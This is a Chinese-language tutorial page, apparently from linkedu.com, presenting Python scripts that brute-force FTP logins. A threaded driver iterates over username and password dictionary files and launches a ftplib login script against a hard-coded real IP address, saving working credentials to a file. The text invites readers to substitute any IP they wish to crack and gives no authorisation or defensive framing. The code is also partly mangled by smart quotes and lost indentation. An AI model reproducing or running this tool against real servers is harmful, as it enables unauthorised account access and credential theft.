• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > python编写暴力破解FTP密码小工具

python编写暴力破解FTP密码小工具

作者:hebedich 字体:[增加 减小] 来源:互联网

hebedich 通过本文主要向大家介绍了python ftp,python ftp下载,python ftp.nlst,python ftp上传,python ftp模块等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os
import time
import threading

class mythread(threading.Thread):
def __init__(self,command):
threading.Thread.__init__(self)
self.command=command
def run(self):
kk=os.system(self.command)
ushand=open(“user.txt”,”r”)
pshand=open(“passwd.txt”,”r”)
listuser=[]
listpass=[]
for us in open(“user.txt”,”r”):
lineus=ushand.readline().strip(‘\n')
listuser.append(lineus)
for ps in open(“passwd.txt”,”r”):
lineps=pshand.readline().strip(‘\n')
listpass.append(lineps)
for i in listuser:
for j in listpass:
command=”ftp.py %s %s” %(i,j)
print command
my_thread=mythread(command)
my_thread.start()
time.sleep(0.1)
</div>

相应的ftp.py文件里面的代码如下

import ftplib
import socket
import sys
ftp=ftplib.FTP('121.54.175.204′)
try:
user=sys.argv[1]
passwd=sys.argv[2]
ftp.login(user,passwd)
hand=open(‘aa.txt','a+')
hand.write(user+”:”+passwd+”\n”)
except ftplib.error_perm:
print “passwd is world”
</div>

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

</div>

您可能想查找下面的文章:

  • python实现FTP服务器服务的方法
  • python实现FTP服务器服务的方法
  • Python中的FTP通信模块ftplib的用法整理
  • Python中的FTP通信模块ftplib的用法整理
  • Python ftp上传文件
  • python实现的简单FTP上传下载文件实例
  • python实现简单ftp客户端的方法
  • python实现支持目录FTP上传下载文件的方法
  • Python使用ftplib实现简易FTP客户端的方法
  • python通过ftplib登录到ftp服务器的方法

相关文章

  • 详解使用Python处理文件目录的相关方法
  • 浅析Python 中整型对象存储的位置
  • 总结用Pdb库调试Python的方式及常用的命令
  • tensorflow ckpt模型和pb模型获取节点名称,及ckpt转pb模型实例
  • Python实现把数字转换成中文
  • Python中线程的MQ消息队列实现以及消息队列的优点解析
  • Python3基础之基本数据类型概述
  • python文件和目录操作方法大全(含实例)
  • 使用Python进行二进制文件读写的简单方法(推荐)
  • python使用PyV8执行javascript代码示例分享

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • python实现sublime3的less编译插件示例
    • Python简单计算文件夹大小的方法
    • Python抓取京东图书评论数据
    • Python使用urllib模块的urlopen超时问题解决方法
    • Python fileinput模块使用实例
    • python 切片和range()用法说明
    • Python序列之list和tuple常用方法以及注意事项
    • Python3中的真除和Floor除法用法分析
    • Python制作CSDN免积分下载器
    • Python 元类使用说明

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有